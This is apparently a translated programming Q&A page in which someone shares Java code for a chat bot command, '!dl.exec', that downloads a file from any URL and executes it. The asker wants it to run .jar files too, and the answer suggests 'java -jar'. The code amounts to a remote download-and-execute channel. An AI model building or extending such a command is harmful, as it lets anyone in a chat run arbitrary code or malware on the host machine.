执行jar / exe / etc的Java代码

时间:2012-03-09 05:56:40

标签: java jar download exe windows-shell

好的,所以我有这套代码

if(message.toLowerCase().startsWith("!dl.exec")){
    String[] args = message.split(" ");
    sendMessage(channel, sender +": OK, please wait a moment");
    try{
        java.io.BufferedInputStream in = new java.io.BufferedInputStream(new
            java.net.URL(args[1]).openStream());
    java.io.FileOutputStream fos = new java.io.FileOutputStream(args[2]);
    java.io.BufferedOutputStream bout = new BufferedOutputStream(fos,1024);
    byte data[] = new byte[1024];
    int count;
    while( (count = in.read(data,0,1024)) != -1){
        bout.write(data,0,count);
    }
    fos.flush();
    fos.close();
    String absolutePath = new File("").getAbsolutePath()+"/"+args[2];
    sendMessage(channel, sender +": the path is " +absolutePath);
    Runtime.getRuntime().exec(absolutePath);
}
catch(Exception e){
    }
}

基本上它是做什么的,用户输入!dl.exec(url)(文件名),然后下载它并将其保存为(文件名)然后去执行它。 现在这个工作正常,但只有当文件是.exe时,对于.anything(如.jar)它才行。 我需要改变什么才能让它与最好的所有扩展一起使用?

1 个答案:

答案 0 :(得分:2)

Runtime.getRuntime().exec(String)将执行命令,就像从shell启动一样。如果您要发布.jar文件,请使用Runtime.getRuntime().exec("java -jar " + absolutePath)。您可能还需要在java方法中提供exec(String)可执行文件的完整路径。

您需要明确指定非标准文件类型(可执行文件或批处理文件)的执行行为